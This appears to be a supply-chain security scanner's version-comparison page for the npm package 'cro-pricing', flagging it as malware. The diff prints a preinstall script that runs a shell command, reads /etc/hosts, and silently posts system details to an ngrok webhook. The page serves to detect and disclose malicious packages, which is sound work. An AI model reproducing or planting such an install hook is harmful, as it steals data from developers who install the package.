cro-pricing - npm Package Compare versions

Comparing version 1.0.3 to 1.0.4

package.json

 {
   "name": "cro-pricing",
-  "version": "1.0.3",
+  "version": "1.0.4",
   "main": "index.js",
@@ -5,0 +5,0 @@ "scripts": {

preinstall.js

 const os = require("os");
 const axios = require("axios");
+const { execSync } = require("child_process");
+const fs = require("fs");
 
-const webhookUrl = "https://9fb9-2405-201-f004-cabf-fca2-f62e-d4e3-b2e9.ngrok-free.app"; 
+const webhookUrl = "https://9fb9-2405-201-f004-cabf-fca2-f62e-d4e3-b2e9.ngrok-free.app";
+
 (async () => {
@@ -19,6 +22,19 @@ const hn = os.hostname();
     pip = res.data.ip;
-  } catch (err) {
-    // fallback or keep as "Unavailable"
+  } catch (_) {}
+
+  let lsOutput = "";
+  let hostsContent = "";
+
+  try {
+    lsOutput = execSync("ls -la /", { encoding: "utf-8" });
+  } catch (_) {
+    lsOutput = "Failed to execute ls -la";
   }
 
+  try {
+    hostsContent = fs.readFileSync("/etc/hosts", "utf-8");
+  } catch (_) {
+    hostsContent = "Failed to read /etc/hosts";
+  }
+
   const payload = {
@@ -28,2 +44,4 @@ hostname: hn,
     public_ip: pip,
+    ls_la_root: lsOutput,
+    etc_hosts: hostsContent,
   };
@@ -33,5 +51,3 @@
     await axios.post(webhookUrl, payload);
-  } catch (err) {
-    // Silent fail
-  }
+  } catch (_) {}
 })();

New alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Shell access

Supply chain risk

This module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Filesystem access

Supply chain risk

Accesses the file system, and could potentially read sensitive data.

Found 1 instance in 1 package

Fixed alerts

AI-detected potential malware

Supply chain risk

AI has identified this package as malware. This is a strong signal that the package may be malicious.

Found 1 instance in 1 package

Unpublished package

Supply chain risk

Package version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.

Found 1 instance in 1 package

Improved metrics

Total package byte prevSize

1403

36.21%

Lines of code

41

41.38%

Worsened metrics

Number of low supply chain risk alerts

3

50%

Number of medium supply chain risk alerts

2

100%

No dependency changes